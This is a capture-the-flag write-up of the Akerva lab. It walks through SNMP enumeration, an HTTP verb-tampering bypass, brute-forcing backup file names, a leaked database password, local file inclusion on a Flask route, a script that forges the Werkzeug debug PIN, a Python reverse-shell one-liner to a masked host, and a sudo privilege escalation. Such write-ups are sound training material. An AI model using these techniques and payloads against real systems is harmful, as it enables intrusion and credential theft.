Akerva

This fun fortress from Akerva features a gradual learning curve. It teaches about common developer mistakes while also introducing a very interesting web vector. Prepare to take your skills to the next level!

Enumeration

Rustscan - TCP

sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.13.37.11 -- -sV -sC -oA ./rust/{{ip}}

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 65000.
Open 10.13.37.11:22
Open 10.13.37.11:80
Open 10.13.37.11:5000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93SVN ( https://nmap.org ) at 2022-11-14 18:04 CET

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.4-alpha-47225
|_http-title: Root of the Universe – by @lydericlefebvre & @akerva_fr
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
5000/tcp open  http    syn-ack ttl 63 Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-auth: 
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_  Basic realm=Authentication Required
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap - UDP

sudo nmap -v -sU 10.13.37.11

Starting Nmap 7.93SVN ( https://nmap.org ) at 2022-11-14 18:17 CET
Initiating Ping Scan at 18:17
Scanning 10.13.37.11 [4 ports]
Scanning 10.13.37.11 [1000 ports]
UDP Scan Timing: About 4.00% done; ETC: 18:30 (0:12:24 remaining)
UDP Scan Timing: About 6.79% done; ETC: 18:32 (0:13:58 remaining)
UDP Scan Timing: About 21.51% done; ETC: 18:34 (0:13:12 remaining)
UDP Scan Timing: About 27.49% done; ETC: 18:34 (0:12:19 remaining)
UDP Scan Timing: About 33.37% done; ETC: 18:34 (0:11:25 remaining)
Discovered open port 161/udp on 10.13.37.11

Web Recon

Port 80

Just a simple wordpress site running on an Apache httpd 2.4.29

Port 5000

Basic Auth protected Werkzeug httpd in Version 0.16.0

Dirsearch

Let's check for any interesting or maybe hidden directories

dirsearch -u http://10.13.37.11/ -x 404,301

Target: http://10.13.37.11/

[18:21:20] Starting:     
[18:21:33] 403 -  276B  - /backups/                                         
[18:21:36] 403 -  276B  - /dev/                                             
[18:21:41] 200 -   19KB - /license.txt                                      
[18:21:47] 200 -    7KB - /readme.html                                      
[18:21:48] 401 -  458B  - /scripts
[18:21:48] 401 -  458B  - /scripts/                      
[18:21:49] 403 -  276B  - /server-status                                    
[18:21:55] 302 -    0B  - /wp-admin/  ->  http://10.13.37.11/wp-login.php?redirect_to=http%3A%2F%2F10.13.37.11%2Fwp-admin%2F&reauth=1                          
[18:21:55] 200 -    0B  - /wp-content/                                      
[18:21:55] 403 -  276B  - /wp-content/upgrade/                              
[18:21:55] 403 -  276B  - /wp-content/uploads/                                                                 
[18:21:55] 403 -  276B  - /wp-includes/

Plain Sight

Discovering the first flag was easy as checking the page source of http://10.13.37.11 revealed the flag hidden in a comment.

This is to demonstrate that even a forgotten comment can contain valuable information. Always keep an eye out on page sources for juicy infos like user-names, api routes or even passwords

Take a Look Around

During enumeration I encountered an open UDP Port on Port 161 (SNMP). Let's check if it will reveal any details about the environment

snmpbulkwalk -c public -v2c 10.13.37.11 . >> snmp.log

# Some infos about the system
iso.3.6.1.2.1.1.1.0 = STRING: "Linux Leakage 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64"
iso.3.6.1.2.1.1.3.0 = Timeticks: (44763477) 5 days, 4:20:34.77
iso.3.6.1.2.1.1.4.0 = STRING: "Me <me@example.org>"
iso.3.6.1.2.1.1.5.0 = STRING: "Leakage"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
# Files that could be useful and the next flag
iso.3.6.1.2.1.25.4.2.1.5.1222 = STRING: "/var/www/html/scripts/backup_every_17minutes.sh AKERVA{XXX}"
iso.3.6.1.2.1.25.4.2.1.5.1223 = STRING: "/var/www/html/dev/space_dev.py"

A nice demonstration on why you should always control which data get exposed on publically available endpoints

Dead Poets

Using snmp it's clear that there are two files located on the webserver which seem to be interesting for further anlysis. space_dev.py, backup_every_17minutes.sh

Using wget to get any of those to files will either result in 403 Forbidden or Wrong Username/Password

Let's try it using Verb Tampering

curl -X POST http://10.13.37.11/scripts/backup_every_17minutes.sh

#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{XXX}
#

SAVE_DIR=/var/www/html/backups

while true
do
        ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
        echo "Erasing old backups..."
        rm -rf $SAVE_DIR/*

        echo "Backuping..."
        zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*

        echo "Done..."
        sleep 1020
done

Always a nice idea to check if you are able to access file using different verbs. Maybe the webserver was wrongly configured and does only check on GET requests. More infos on 403 & 401 Bypasses

Now You See Me

The script backup_every_17minutes.sh we discovered is used to create backups of our target webpage every 17 minutes.

Backups are saved in /backups/backup_$(date +%Y%m%d%H%M%S)

How to get the backup? I could either try to calculate the next run or just bruteforce it. Math isn't my speciality so I'm going to bruteforce filenames.

Generate a wordlist that should cover around an hour

crunch 4 4 0123456789 -o wordlist.txt to generate wordlist

Get the Date/Time

curl -I http://10.13.37.11

HTTP/1.1 200 OK
Date: Mon, 14 Nov 2022 18:11:24 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Pingback: http://10.13.37.11/xmlrpc.php
Link: <http://10.13.37.11/index.php/wp-json/>; rel="https://api.w.org/"
Link: <http://10.13.37.11/>; rel=shortlink
Content-Type: text/html; charset=UTF-8

Get the file

ffuf -u http://10.13.37.11/backups/backup_2022111418FUZZ.zip -w wordlist.txt

________________________________________________

 :: Method           : GET
 :: URL              : http://10.13.37.11/backups/backup_2022111418FUZZ.zip
 :: Wordlist         : FUZZ: wordlist.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

0804                    [Status: 200, Size: 22071775, Words: 0, Lines: 0, Duration: 0ms]

Our File is stored as backup_20221114180804.zip

After downloading and inspecting the content we discover two things, db credentials in wp-config.php and under dev/ the file called space_dev.py with our next flag

Database Credentials

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'ZokDHE_DJ_____enzU)=' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

space_dev.py

#!/usr/bin/python

from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
auth = HTTPBasicAuth()

users = {
        "aas": generate_password_hash("AKERVA{XXX}")
        }

@auth.verify_password
def verify_password(username, password):
    if username in users:
        return check_password_hash(users.get(username), password)
    return False

@app.route('/')
@auth.login_required
def hello_world():
    return 'Hello, World!'

# TODO
@app.route('/download')
@auth.login_required
def download():
    return downloaded_file

@app.route("/file")
@auth.login_required
def file():
        filename = request.args.get('filename')
        try:
                with open(filename, 'r') as f:
                        return f.read()
        except:
                return 'error'

if __name__ == '__main__':
    print(app)
    print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
    app.run(host='0.0.0.0', port='5000', debug = True)

Open Book

Next in our list is the application running on port 5000.

What do we already know?

  • Werkzeug httpd 0.16.0

  • Python 2.7.15+

  • Uses Flask

  • User: aas Password: AKERVA{XXX}

  • Routes /file, /download

  • Debug = True that means we should have acess to /console

LFI on route /file

POC: http://10.13.37.11:5000/file?filename=/etc/passwd

Leaked Environment Infos on /download

POC: http://10.13.37.11:5000/download

Our flag is located at /home/aas/flag.txt

Say Friend and Enter

Visiting http://10.13.37.11/5000/console will display the debugging console which is protected by a pin. Since we already found a LFI and are able to identify which python version is used I will use that to generate a pin based on system infos - Hacktricks - Werkzeug PIN Exploit

First I get infos that are needed to generate the pin

MAC: http://10.13.37.11:5000/file?filename=/sys/class/net/ens33/address (Convert using: Vaultr) Machine-ID: http://10.13.37.11:5000/file?filename=/etc/machine-id User: http://10.13.37.11:5000/file?filename=/etc/passwd (Guessed it was aas)

import hashlib
from itertools import chain
probably_public_bits = [
        'aas',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
        '345052354586',# str(uuid.getnode()),  /sys/class/net/ens33/address
        '258f132cd7e647caaf5510e3aca997c1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
        if not bit:
                continue
        if isinstance(bit, str):
                bit = bit.encode('utf-8')
        h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
        for group_size in 5, 4, 3:
                if len(num) % group_size == 0:
                        rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                                                  for x in range(0, len(num), group_size))
                        break
        else:
                rv = num

print(rv)

Running the script will generate the pin to enter console 245-971-816

We are now able to run commands and get a reverse shell using following command

import os,pty,socket;s=socket.socket();s.connect(("XXX.XXX.XXX.XXX",4000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")

Our flag is located at /home/aas/.hiddenflag.txt

Super Mushroom

After getting the shell it's always good to check the system for any privesc paths. I used linpeas to get an overview about the system

Two things jumped directly at me

  1. Sudo version 1.8.21p2

  2. CVE-2021-4034

CVE-2021-4034 wasn't exploitable during my enumeration phase so I would say it's a false positive.

Sudo V. 1.8.21p2 can be exploited using a known exploit CVE-2019-18634 - SUDO-CVE-2019-18634

I compiled the exploit on my host using the Makefile and transfered it to my target using pwncat-cs framework which handles my reverse shells and listeners

The flag is located at /root/flag.txt

\[\](remote)\[\] \[\]root@Leakage\[\]:\[\]/root\[\]$ cat /root/flag.txt
AKERVA{XkXow_SuX0_sXckXX}

Little Secret

Last but not least the challenge that's not my usual business.

In /root there's a file called secured_note.md which seems to be encrypted by some kind of cipher.

secured_note.md

R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK

I used CyberChef to identify that it's an base64 encoded string and used Cyberchef to decode it

GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE

I was able to identify the most probable ciphers using decode.fr

  1. Two-Squre Cipher

  2. Vigenere Cipher

  3. Autoclave Cipher

To be honest I just had a gut feeling that Vigenere would be the right choice due to Akerva beeing a french company

Using decode.fr - vigenere was pretty easy as I just had to modify the alphabet of used letters and the Automatic Decryption did the rest

Used Alphabet

ACDEFGHIKLMNOPRSTUVWY

Decryption Results

# Possible Key
ILOVESPAC?

Key ILOVESPACE decrypted the message perfectly

WELL DONE FOR SOLVING THIS CHALLENGE YOU CAN SEND YOUR RESUME HERE AT RECRUTEMENT AKERVA COMAND VALIDATE THE LAST FLAG WITH XXXX

Last updated